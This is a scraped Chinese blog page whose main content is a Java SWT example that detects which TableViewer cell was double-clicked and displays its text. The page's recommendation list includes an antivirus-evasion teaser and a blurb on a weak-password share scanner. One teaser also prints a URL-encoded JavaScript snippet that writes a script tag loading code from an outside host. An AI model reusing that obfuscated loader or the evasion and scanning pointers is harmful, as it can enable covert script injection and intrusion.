swt tableViewer双击选择单元格事件

swt事件处理的编码实现 1.利用鼠标监听器监听鼠标双击事件。当在文本框中双击鼠标时,显示“文本框中鼠标双击事件发生!”。 2.利用键盘监听器监听键盘事件。当在文本框text1中输入信息,按回车键时将text1中的信息显示在text2中。 3.利用组件选择监听器,监听组件选择事件。 立即下载


import org.eclipse.jface.dialogs.MessageDialog;
import org.eclipse.jface.viewers.TableViewer;
import org.eclipse.swt.SWT;
import org.eclipse.swt.events.MouseAdapter;
import org.eclipse.swt.events.MouseEvent;
import org.eclipse.swt.widgets.Display;
import org.eclipse.swt.widgets.Label;
import org.eclipse.swt.widgets.Shell;
import org.eclipse.swt.widgets.Table;
import org.eclipse.swt.widgets.TableColumn;
import org.eclipse.swt.widgets.TableItem;

public class Test {

 public static void main(String[] args) {

  Display display = new Display();
  final Shell shell = new Shell(display);
  shell.setSize(450, 300);
  shell.setText("Test");
 
  final Label label = new Label(shell, SWT.NONE);
  label.setBounds(50, 178, 311, 60);

  TableViewer tableViewer = new TableViewer(shell, SWT.BORDER
    | SWT.FULL_SELECTION);
  final Table table = tableViewer.getTable();
  table.setHeaderVisible(true);
  table.addMouseListener(new MouseAdapter() {
   @Override
   public void mouseDoubleClick(MouseEvent e) {
    int rowIndex = table.getSelectionIndex();
    int columnIndex = -1;
    int left = 0;
    for (int i = 0; i < table.getColumns().length; i++) {
     left += table.getColumns()[i].getWidth();
     if (e.x < left) {
      columnIndex = i;
      break;
     }
    }
    if(columnIndex != -1) {
     String text = table.getItem(rowIndex).getText(columnIndex);
     label.setText("double click on: "+ text);
     Shell shell = new Shell();
     MessageDialog.openInformation(shell, "信息", "双击单元格:"+text);
    }
   }
  });
  table.setBounds(34, 25, 350, 118);

  TableColumn tableColumn = new TableColumn(table, SWT.NONE);
  tableColumn.setWidth(100);
  tableColumn.setText("Column One");

  tableColumn = new TableColumn(table, SWT.NONE);
  tableColumn.setWidth(100);
  tableColumn.setText("Column Two");

  tableColumn = new TableColumn(table, SWT.NONE);
  tableColumn.setWidth(100);
  tableColumn.setText("Column Three");

  TableItem tableItem = new TableItem(table, SWT.NONE);
  tableItem.setText(new String[] { "1.1", "1.2", "1.3" });

  tableItem = new TableItem(table, SWT.NONE);
  tableItem.setText(new String[] { "2.1", "2.2", "2.3" });

  shell.open();
  while (!shell.isDisposed()) {
   if (!display.readAndDispatch())
    display.sleep();
  }
  display.dispose();
 }
}

免杀思路总结 免杀思路总结 1.免杀技术简介 1.免杀的重要性 2.免杀的难度 3.杀毒软件的排行 国外 国内 1 、Bitdefender 1、360 2 、Norton 360 2、智量安全(没测过,据说很厉害) 3 、Kaspersky 3、火绒安全 4 、Webroot 4、金山独霸 5 、Trend Micro 5 阅读详情

相关推荐

Java网页访问报错?手把手教你解决JRE插件缺失和浏览器拦截问题(附详细截图)

本文针对Java网页访问时常见的JRE插件缺失和浏览器拦截问题,提供了详细的诊断与解决方案。文章首先解释了问题根源在于现代浏览器出于安全考虑停止了对Java插件的支持,然后手把手指导用户确认Java安装、在控制面板配置安全站点列表,并针对Chrome、Edge、Firefox等主流浏览器的不同拦截机制给出了具体的应对策略,最后提供了系统性的故障排查清单,帮助用户彻底解决访问障碍。

weixin_29233857的博客 219

SWT双击table单元格可编辑、变为下拉框

最近一年都是在做plugin开发,

sora145236的专栏 2845

Langchain与Milvus集成中的pymilvus.exceptions.MilvusException: channel not found错误解析

本文深入解析了在Langchain与Milvus集成时常见的pymilvus.exceptions.MilvusException: channel not found错误。该错误通常由客户端配置错误、网络问题、服务端状态异常或版本不兼容导致。文章提供了从基础连通性测试到高级网络排查的完整故障排除指南,并针对本地Docker、远程服务器及Kubernetes等典型部署场景给出了具体解决方案,帮助开发者快速定位并修复这一连接层问题。

weixin_29229989的博客 217

SWT表格--获取点击位置

忽略布局等代码,此处主要是点击监听事件的方法。 //鼠标点击监听事件 table.addListener(SWT.MouseDown, new Listener() { @Override public void handleEvent(Event event) { //记录行的坐标 Integer rowIndex = null; //记录列的坐标 Integer columbIndex = null; //获取坐标轴 Point point

前人栽树,后人乘凉。 406

让AI镜头“活”起来:22个核心运镜提示词,告别视频画面呆板

介绍了22种影视级镜头语言的AI提示词用法。内容涵盖推轨/后拉镜头等距离变化技巧、横摇/俯仰等方向控制手法、环绕/升降等空间位移方式,以及POV视角等特殊构图。

weixin_43489601的博客 6268

图像加密与解密(附matlab代码)

详细介绍了三种图像加密解密原理,并基于matlab开发了一套相应系统。

2439

SWT的TableItem双击事件监听

TableItem是table里面的显示数据的行,你可以通过对table的双击监听来实现对TableItem的监听当双击table时必定会选种一行,再通过对table选中的行进行判断就知道选中的是哪一行了.具体如下: table.addListener(SWT.MouseDoubleClick, new Listener(){ public void handleEvent(Event ev

Google Oriented Programmer 3889

从 SAP GUI 走向 SAP Fiori:一套面向 SAP S/4HANA 的用户迁移实战方法论

SAP S/4HANA转型中,用户从SAP GUI迁移到Fiori的难点在于业务价值的重构而非简单的界面替换。Fiori的核心价值在于角色化、实时洞察和智能决策,而非完全替代GUI。成功迁移需分阶段推进:先展示关键角色的价值,建立统一入口,再逐步提高Fiori占比。让用户参与设计比后期培训更重要,需通过具体场景(如采购优先级管理)展示效率提升。迁移策略应平衡新旧界面优势,让Fiori成为业务价值触达的主要方式,而非强制替换。

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 235

SWT中设置TableViewer和TreeViewer成为双击编辑

TableViewerEditor.create(viewer, new DoubleClickColumnViewerEditorActivationStrategy(viewer), ColumnViewerEditor.DEFAULT); class DoubleClickColumnViewerEditorActivationStrategy extends ColumnView...

changkejia的博客 716

网络系统管理专栏-配套练习+知识点详解

网络系统管理专栏-配套练习+知识点详解

bfq05234214的博客 681

循迹小车控制实验:代码集成与硬件验证

在main.c文件中还需定义上层代码调用的GPIO输入和PWM输出相关函数,其中调用STM32CubeMX生成的HAL库函数。}else{}else{}else{}else{在main.h文件中的USER CODE BEGIN EFP注释代码段中外部声明Get函数和Set函数,使该函数可以被上层代码调用。循迹小车控制实验到本章全部完成。相比于前几章节的实验,本实验复杂程度是最高的。

u013288925的博客 125

TableViewer, TreeViewer双击编辑

转自:http://bencode.javaeye.com/blog/39324在TreeViewer或TableViewer中,可用CellEditor结合CellModifier可以很实现表格的编辑功能 但是默认的是单击,就会打开编辑区域。有时候我们会需要双击进行(或者其他),于是我写了一个 DoubleCellModifier,只要让你的CellModifier继承它,就可以很方便实现双击编

了我欣艺 1832

基于非接触式微波雷达设计的跌倒检测预警系统【短信报警】

本项目选择基于非接触式微波雷达的跌倒检测预警装置作为技术核心,采用云帆瑞达的R60AFD1跌倒检测模组。这一模组能够根据人体的运动变化,如速度、距离和姿态等特征,判断是否发生跌倒,并可以持续监控老年人是否处于危险状态。此外,本项目还结合4G通信技术,通过Air724UG模块实现短信报警功能,一旦检测到跌倒事故,系统将自动通过4G网络向紧急联系人发送短信报警,及时通知亲属或医护人员进行救援。

1751

java tableview 双击_【原创】关于JFace的一个bug(可编辑单元格双击,会频繁调用TableViewer的双击处理)...

闲话稍说,直接上bug视频:Bug视频大致现象:在一个可编辑tableviewer的单元格中,双击,对应的编辑对话框会不时弹出多次。我这边严重的时候,会连续弹出将近20次,那就只能修改了~_~Bug分析:调试了一把,发现是SWT底层将同一鼠标事件(通过event.time可以确认)连续发送了多次。而JFace中的TableEditorImpl将这事件转发给了tableviewer,tablevie...

weixin_29923451的博客 318

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

计算机控制技术及应用

《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术,以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索,主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式,计算机控制系统的数学描述与基本分析方法,以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。

java swt table checkbox_用swt table实现复选框只能为单选,且只有双击事件和check事件...

最先开始用的是SWT table来展示人员信息,代码如下package cn.rescue.view;import java.util.List;import org.eclipse.swt.SWT;import org.eclipse.swt.events.MouseEvent;import org.eclipse.swt.events.MouseListener;import org.ecli...

weixin_42370345的博客 950

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

TableViewer_TreeViewer

SWT中设置TableViewer和TreeViewer成为双击编辑 博客分类: eclipse plugin TableViewerEditor.create(viewer, new DoubleClickColumnViewerEditorActivationStrategy(viewer), ColumnViewerEditor.DEFAULT); class Doubl...

寂寞醉人君自饮,犹落西风花满心... 185

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

表格(TableViewer类)

第14章  表格(TableViewer类) TableViewer表格类是JFace组件中重要且典型的一个组件,其中涉及了JFace的众多重要概念:内容器、标签器、过滤器、排序器和修改器,这些概念对后面JFace组件特别是TreeViewer的学习非常重要。从本章也可以体会到JFace非常突出的面向对象特性。 14.1  概    述 JFace是SWT的扩展,它提供了一组功能

xiaoerhei的专栏 1069

RCP TableViewer编程详细

一.        创建表格 1.       setContentProvider 主要功能:把数据转换为表格需要的数据模型,这里转换为数组。 2.       setLabelProvider 主要功能:设置每个单元格显示的文本和图片。 3.       setInput 主要功能:提供数据   整体上的工作过程是:setInput()提供数据,setContentProvider(

likunwen_001的专栏 905

java jface table_JAVA.SWT/JFace: JFace篇之MVC的表格、树和列表(1)

《Eclipse SWT/JFACE 核心应用》 清华大学出版社 19 MVC的表格、树和列表19.1 MVC概述MVC是模型-视图=控制器(Model-View-Controller)设计模式的简称。MVC模式将数据与视图分开,通过控制器来控制与数据交互。JFace中有关实现MVC模式的控件都在org.eclipse.jface.viewers包下。所有的MVC控件都继承自View类,该类是一个...

weixin_28895791的博客 475

应用模式设计基于 TableViewer 的应用框架

引言 表格显示器(本文中“表格显示器”泛指 Eclipse JFace 的 TableViewer)是 Eclipse JFace 中的 Viewer(包括 TableViewer,TreeViewer,TextViewer 和 ListViewer 等)之一。JFace Viewer 应用 MVC 模式设计,将领域模型填充到对应的组件(Control)中,如 TableViewer 将数...

babybear315的专栏 309

SWT/Jface(2): 表格的编辑

在实际应用中我们往往需要编辑表格并实现双向绑定, 本节内容主要集中讲如何对表格单元格添加编辑支持.

1885

JFace Viewer 3

 HTML Tags and JavaScript tutorialvar encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count1.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S)

341

JFace Viewer 3

5.1.5. StructuredViewer StructuredViewer 是列表查看器,表格查看器,树查看器的抽象超类。(参见Figure 5-7)   Figure 5-7. StructuredViewer 层次图

软件开发资料汇总 405
上一篇: SWT中显示图片
下一篇: JMF的安装与环境的配置
hellocdw
博客等级 码龄15年 5粉丝 26原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值